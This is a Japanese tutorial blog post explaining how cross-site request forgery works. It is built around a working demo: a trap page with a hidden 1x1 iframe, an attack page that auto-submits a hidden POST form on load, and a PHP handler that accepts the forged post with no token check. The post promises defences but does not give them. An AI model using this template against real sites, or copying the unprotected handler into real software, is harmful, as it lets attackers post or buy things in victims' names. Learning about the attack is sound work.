WEB攻撃手法のCSRFの仕組みについて考えていきます。9月14日記事
目次
クロスサイトリクエストフォージェリとは、WEB攻撃手法の一つで、POSTメソッドやGETメソッドで送るデータを本来のページ以外から送り付け、内容を投稿したり、ショッピング決済をさせたりすることです。
タグさえ見れれば、どういうフォームでどういう名前を付けて送られているのかがわかります。そのフォームの構造を別のファイルに作ってあげて、本来送るページへリクエストを投げれば、投稿できてしまうということです。
罠用のページ
<!DOCTYPE HTML> <html> <head> <meta charset="utf-8"> <title>CSRFの仕組み</title> </head> <body> <p>こんにちは。こちらは安全なサイトですよ。(と見せかける)</p> <iframe width="1" height="1" src="attack.html"></iframe> <!--インラインフレームとして、攻撃させるページを読み込む。ここでは相対パスだけど実際は絶対パスで記述される。--> </body> </html>
悪意のあるものが書いたが書いたattack.html
<!DOCTYPE HTML> <html> <head> <meta charset="utf-8"> <title>誘導ページ</title> </head> <body onload="document.attackform.submit();"> <form name="attackform" method="post" action="complete.php"><!--ここも実際には送り先は絶対パスで記述される--> <input type="hidden" name="title" value="オレはクラッカー"> <input type="hidden" name="article" value="クラックしてやる"> <input type="submit" value="送信"> </form> </body> </html>
本来送るべき完了ページのフォームへ
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<title>フォーム完了ページなど</title>
</head>
<body>
<?php
$log[0] = $_POST["title"];
$log[1] = $_POST["article"];
date_default_timezone_set('Asia/Tokyo');
$log[2] = date('Y-m-d H:i:s');
$log[3] = $_SERVER['HTTP_USER_AGENT'];
//ここから記述されているかのチェックプログラム。データベースを読み込む設定はめんどくさいのでファイルに記述させる仕組みにします。
$file = @fopen('access.log' ,'ab') or die ('ファイル開けません。');
flock($file, LOCK_EX);//書き込み中なので他からの書き込みを禁止
//logを記述。タブで分割し、最後に改行をする。
fwrite($file,implode("\t",$log). "\n");
fclose($file);
print '記録完了';
?>
</body>
</html>
データベースに挿入させるプログラムを書いてもよかったのですが、データベースを定義しなおすのがメンドクサかったので、ファイルに書き込むというプログラムにしました。これで罠用のページにいったら、自動的に、attack.htmlが読み込まれ、onload=docmument.attackform~によって自動的に送信ボタンが押され、内容がcomplete.phpに送られるようになり、その結果、悪意のある投稿ができてしまうということです。
サーバ管理をしてログを見ていると色々なところからPOSTメソッドやGETメソッドが飛んできます。対策は今後記述していきます。
以上